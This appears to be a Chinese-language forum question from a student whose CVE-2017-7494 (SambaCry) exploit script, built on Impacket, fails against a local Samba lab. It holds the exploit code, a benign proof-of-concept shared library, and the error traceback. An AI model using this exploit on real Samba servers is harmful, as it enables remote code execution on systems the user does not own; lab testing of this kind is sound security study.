我正在做一个小型学校网络安全项目,我的 Python(带有 Impacket 库:RPC 传输模块)脚本有一个小错误。这是一个非常简单的脚本,payload 可以在 GitHub 上找到供您参考: https ://github.com/omri9741/cve-2017-7494/blob/master/exploit.py
from optparse import OptionParser
from impacket.dcerpc.v5 import transport
def main():
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="target ip address")
parser.add_option("-m", "--module", dest="module", help="module path on
target server")
(options, args) = parser.parse_args()
if options.target and options.module:
stringbinding = r'ncacn_np:%s[\pipe\%s]' % (options.target, options.module)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
dce = rpctransport.get_dce_rpc()
dce.connect()
else:
parser.print_help()
if __name__=="__main__":
main()
我已经设置了整个系统(Kali Linux 2017.1),包括 Samba 服务器(4.5.8),并且 Samba 共享已经过测试(连接 OK 文件传输 OK)。已验证没有防火墙服务正在运行。有效载荷也已从 C 文件内置到共享对象 libpoc.so 中:
#include <stdio.h>
int samba_init_module(void)
{
printf("hello from cve-2017-7494 poc! ;)\n");
return 0;
}
和头文件:
#ifndef poc_h__
#define poc_h__
extern int samba_init_module(void);
#endif // poc_h__
运行命令时:
python exploit.py -t //localhost/pentest -m /localhost/pentest/libpoc.so
我得到回溯日志:
raise socket.error ("Connection error (%s:%s)" % (peer[0], peer[1]), e) socket.error:
[Errno Connection error (localhost/pentest:445)] [Errno -2] Name or service not known